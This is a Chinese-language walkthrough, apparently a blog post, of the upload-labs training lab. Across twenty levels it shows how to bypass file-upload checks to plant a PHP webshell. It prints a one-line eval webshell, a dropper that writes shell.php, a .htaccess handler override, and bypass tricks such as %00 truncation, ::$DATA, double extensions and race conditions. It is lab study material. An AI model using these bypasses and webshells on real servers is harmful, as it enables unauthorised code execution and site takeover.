upload-labs Pass1-20 已完结

upload-labs

目前进度 完结

Pass-01

任务:上传一个webshell文件

上传带有一句话木马的1.php文件后,提示该

文件不允许上传,请上传.jpg|.png|.gif类型的文件,当前文件类型为:.php

而且响应速度很快,可以先判断是前端验证,去尝试绕过

  1. f12查看表单发现一个checkFilejs函数

    在这里插入图片描述

  2. 我们直接删掉 return checkFile()

    在这里插入图片描述

  3. 上传成功,我们调用木马文件

    一句话木马内容是:<?php @eval($_POST[x]); ?>

    所以我们需要使用post 进行传参

    在这里插入图片描述

  4. 调用成功

    在这里插入图片描述

Pass-02

任务:上传一个webshell到服务器

  1. 发现还有checkFilejs函数,我和上次一样操作发现提示:文件类型不正确,请重新上传

  2. 我们使用burp来抓包试试,js的函数还是默认删掉

    我们看到里面的MIME类型是流类型,我们尝试修改类型为 image/png ,然后放行数据包

    在这里插入图片描述

  3. 上传成功,尝试调用成功

Pass-03

任务:上传一个webshell到服务器

  1. 尝试和之前一样的操作,发现失败,提示:不允许上传.asp,.aspx,.php,.jsp后缀文件! 这是黑名单过滤

  2. 我们尝试修改文件名后缀

    php改为**.phtml .phps .php5 .pht**

    在这里插入图片描述

  3. 上传成功后,我们调用原本的文件名发现失败了,复制链接后发现文件名被修改了,所以我们需要调用被修改后的文件名才可以

Pass-04

任务:上传一个webshell到服务器

  1. 正常上传一个1.php文件,提示该文件不允许上传,按照前面的操作提示这个

  2. 我们知道中间件是apache ,所以有可能可以上传htaccess文件

    编写htaccess 解析gifphp文件

    # .htaccess
    <IfModule mime_module>
    	AddHandler php5-script .gif          
    	SetHandler application/x-httpd-php   
    </IfModule>
    

    上传文件,上传成功

  3. 上传一个gif文件,里面包含后门代码

    在这里插入图片描述

  4. 访问gif文件,发下gif被解析为php文件了

    在这里插入图片描述

Pass-05

任务:上传一个webshell到服务器

  1. 我们尝试上传htaccess 文件发现提示:此文件类型不允许上传!

    尝试另外的后缀名不行,尝试使用.user.ini也不行,因为文件上传之后会以时间戳命名

  2. 我们再试试改后缀名大小写(提示里面大小写过滤不完全)

    在这里插入图片描述

  3. 上传成功,调用成功

Pass-06

任务:上传一个webshell到服务器

  1. 后缀名大小写,htaccess ,别的后缀名发现都不行

  2. 看了源码发现少了 trim ,就是没去空格,尝试”1.php ” 后面对加个空格

    在这里插入图片描述

  3. 上传成功,调用成功

Pass-07

  1. 尝试了各种后缀名,后缀名大小写,以及htaccess

  2. 查看源码,发现对 . 的过滤不完整,所以可以上传 1.php. ,代码获取1.php. 的后缀名是. ,只有一个. 就不会被代码检测到

  3. 上传1.php. 文件

    在这里插入图片描述

  4. 上传成功,调用成功

Pass-08

  1. 虽然.user.ini可以上传,但是发现上传后名字被改了

  2. 查看源码,发现没有对 ::$DATA 过滤,在windows中,加入一个文件命名为 1.php::$DATA 就会被认为是一个数据流,不会检查后缀名,windows 则会解析为 1.php

    在这里插入图片描述

  3. 上传成功,调用成功,访问时记得去掉 ::$DATA

Pass-09

  1. 查看提示提示:本pass只允许上传.jpg|.png|.gif后缀的文件!
  2. 查看源码,发现可以使用 1.php. . 绕过
  3. 上传成功,调用成功

Pass-10

  1. 直接上传 1.php 文件,发现可以直接上传了,打开链接发现php后缀被去掉了

    在这里插入图片描述

  2. 会把在黑名单里面的后缀名变为”” ,可以尝试上传 1.pphphp 文件(双写绕过),他先把php替换之后,后缀剩下的字符串也会自动拼接成php

    在这里插入图片描述

  3. 上传成功,调用成功

Pass-11

  1. 尝试了上一题的,和大小写绕过等,因为上传文件后文件名会被修改,所以.user.ini等解析漏洞也不行

  2. 提示是:本pass上传路径可控

    在这里插入图片描述

  3. 查了一下说是使用%00截断,这个方法要求PHP版本得小于5.3

    save_path 路径修改为../upload/12.php%00filename 为正常图片命名

    request:

    在这里插入图片描述

    response:

    在这里插入图片描述

  4. 源码分析

    首先要知道:当一个字符串中存在空字符的时候,在被解析的时候会导致空字符后面的字符被丢弃

    https://blog.csdn.net/weixin_44840696/article/details/90581104 (了解0x00截断原理用的)

    $is_upload = false;
    $msg = null;
    if(isset($_POST['submit'])){
        $ext_arr = array('jpg','png','gif');
        $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
        if(in_array($file_ext,$ext_arr)){
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
    				
    				// 这里 $temp_file = temp/(服务器临时文件路径)
    				// $img_path = ../upload/12.php%00/(rand字符).jpg
    				// 在这里移动文件到img_path的时候,img_path的%00后面的字符就会被截断
    				// 所以就会被解析为12.php
            if(move_uploaded_file($temp_file,$img_path)){
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
        }
    }
    
  5. 上传成功,访问 12.png 把后面截断了的删掉,成功

Pass-12

  1. 抓包发现是在post上传的路径

    在这里插入图片描述

  2. 我们尝试和上一关一样在upload上面加上12.php%00,发现上传失败,因为post不会读取url编码的,所以需要在request的hex里面设置12.php后面的一位为00 (图片上多a是因为方便确认12.php 后面是在哪,改完后把a删掉)

    在这里插入图片描述

  3. 上传成功,调用成功,和上一pass一样调用

Pass-13

  1. 看着介绍应该是说文件头,然后使用文件包含来包含图片文件,图片文件里面的代码会被include到含有文件包含漏洞的文件里

  2. GIF89agif的文件头

    在这里插入图片描述

  3. 上传成功,调用文件,发现被解析成了gif文件,所以代码执行不了,再看到 高亮文字是个链接,里面是含有文件包含漏洞的文件

    在这里插入图片描述

  4. 参数是GET ,直接加上刚刚上传的gif的路径去调用

    在这里插入图片描述

  5. 调用成功

Pass-14

  1. 和上一Pass一模一样,只要加上文件头GIF89a

Pass-15

  1. 和上一Pass一模一样,只要加上文件头GIF89a

Pass-16

  1. 查看提示发现是二次渲染,我们上传一张正常的gif ,然后把二次渲染后的gif保存下来,可以发现大小变小了很多,我们要做的就是把上传之前和上传之后的gif使用16进制编辑器打开,寻找相同的地方,然后在相同的地方插入后门代码

    在这里插入图片描述

    然后在相同的地方修改,插入php后门代码

    在这里插入图片描述

  2. 接着上传修改后的gif照片,上传成功,调用成功=

    在这里插入图片描述

  3. 如果要上传png或者jpg照片,则要用不同的方法

    https://blog.csdn.net/weixin_45588247/article/details/119177948

Pass-17

  1. 说是要代码审计,所以就直接看源码

    可以发现就算是php后缀的文件,也是在移动过去之后再检测的,所以就是要在unlink之前,访问webshell,也就是条件竞争

    $is_upload = false;  
    $msg = null;   
    if(isset($_POST['submit'])){  // 检查是否提交了上传表单,如果提交了则执行下面的代码块  
        $ext_arr = array('jpg','png','gif');  // 定义允许上传的文件类型数组,包括jpg,png,gif  
        $file_name = $_FILES['upload_file']['name'];    // 从上传表单中获取上传文件的名字  
        $temp_file = $_FILES['upload_file']['tmp_name'];    // 从上传表单中获取上传文件的临时路径  
        $file_ext = substr($file_name,strrpos($file_name,".")+1);  // 获取上传文件的扩展名,即文件名的最后部分
        $upload_file = UPLOAD_PATH . '/' . $file_name;  // 拼接出上传文件的完整路径,创建以原文件名为名的文件    
        if(move_uploaded_file($temp_file, $upload_file)){  // 将临时文件移动到指定的路径,如果移动成功则执行
            if(in_array($file_ext,$ext_arr)){  // 检查上传文件的扩展名是否在允许的类型数组中,如果在则执行下面的代码块
                $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext; 
                #生成新的文件名,包括随机数字、当前日期和时间以及原文件的扩展名  
                rename($upload_file, $img_path);   // 将上传的文件重命名为新的文件名  
                $is_upload = true;  
            }else{  // 如果上传文件的扩展名不在允许的类型数组中,则设置错误消息,并删除上传的文件  
                $msg = "只允许上传.jpg|.png|.gif类型文件!";  
                unlink($upload_file);  
            }   
        }else{  
            $msg = '上传出错!';  
        }  
    }
    
  2. 首先使用burp的intruder模块来快速重发1.php文件(发送包),里面的payload

    <?php
    fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"]) ?>');
    ?>
    // fputs=fwrite,访问1.php会生成shell.php,然后写 <?php @eval($_POST["cmd"]) ?> 进去burp的intruder模块来截取发给宋保
    
  3. 同时使用burp的intruder模块来截取访问xxxx/upload/1.php(响应包),发送包和响应包一起使用intruder模块,当响应包code200的时候intruder 就可以停止了,200就表示访问1.php成功了,代码也执行了,停止后我们去访问shell.php

    在这里插入图片描述

  4. 访问shell.php ,成功

    在这里插入图片描述

Pass-18

  1. 代码审计,文件包含漏洞,也就是条件竞争。

  2. 需要制作图片🐎,里面的代码是上一个Pass的生成shell的代码,然后使用intruder模块快速发送(发送包)

  3. 我们要在图片🐎被rename之前使用文件包含,所以我们也要使用intruder 模块来发送截取包,使用include.php文件包含

    发送包:

    在这里插入图片描述

    截取包:

    在这里插入图片描述

    一块放到intruder模块里发送,截取包200时就表示已经包含到图片马了,就生成了shell.php

  4. 访问生成的shell.php

    在这里插入图片描述

Pass-19

  1. 发现可以自己更改文件名,尝试截断

  2. 发现是通过post来上传,抓包修改

    19.php19.jpg中间插上%00 来实现截断

    在这里插入图片描述

  3. 发现上传成功

  4. 访问成功,调用成功

Pass-20

  1. 发现这题内容和上一Pass差不多,尝试了上一Pass的操作发现提示:

  2. 修改数据包中的MIME,上传成功但不是我们预想的情况,名字变成gif后缀

  3. 查看提示让我们代码审计

    $file_name = reset($file) . '.' . $file[count($file) - 1];

    发现是用过数组第一个元素和最后一个元素拼接的,发现无法绕过

  4. 但是发现

    在这里插入图片描述

    你可以上传一个数组,因为他是判断你是不是一个数组,如果不是再创建,但假如你本身就是数组,他就绕过了

  5. 我们上传数组arr[0]arr[2]

    在这里插入图片描述

    此时arr[1]为空值,所以count函数计算值为2 ,所以$file[count($file) - 1] = arr[2 - 1] = arr[1] ,arr[1] 是空值,所以拼接就是 "20.php"+"."+""

  6. 上传成功,调用成功

    在这里插入图片描述

  • 3
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值